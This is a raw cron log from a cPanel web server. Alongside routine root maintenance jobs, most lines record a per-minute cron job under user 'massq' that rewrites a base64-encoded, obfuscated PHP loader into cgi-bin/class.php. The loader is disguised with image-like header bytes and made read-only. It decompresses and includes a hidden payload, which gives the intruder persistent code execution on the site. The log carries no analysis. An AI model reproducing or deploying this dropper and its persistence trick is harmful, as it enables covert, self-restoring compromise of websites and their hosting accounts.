Nov 15 00:05:01 server CROND[19919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:05:01 server CROND[19920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:06:01 server CROND[20828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:07:01 server CROND[21647]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:08:01 server CROND[22500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:09:01 server CROND[23414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:09:01 server CROND[23415]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:10:01 server CROND[24333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:10:01 server CROND[24334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:10:01 server CROND[24337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 00:10:01 server CROND[24340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:11:01 server CROND[25317]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:12:01 server CROND[26241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:12:01 server CROND[26242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:13:01 server CROND[27121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:14:01 server CROND[28049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:15:01 server CROND[29064]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:15:01 server CROND[29065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:15:01 server CROND[29068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:15:01 server CROND[29070]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:15:01 server CROND[29073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:16:01 server CROND[30092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:17:01 server CROND[31013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
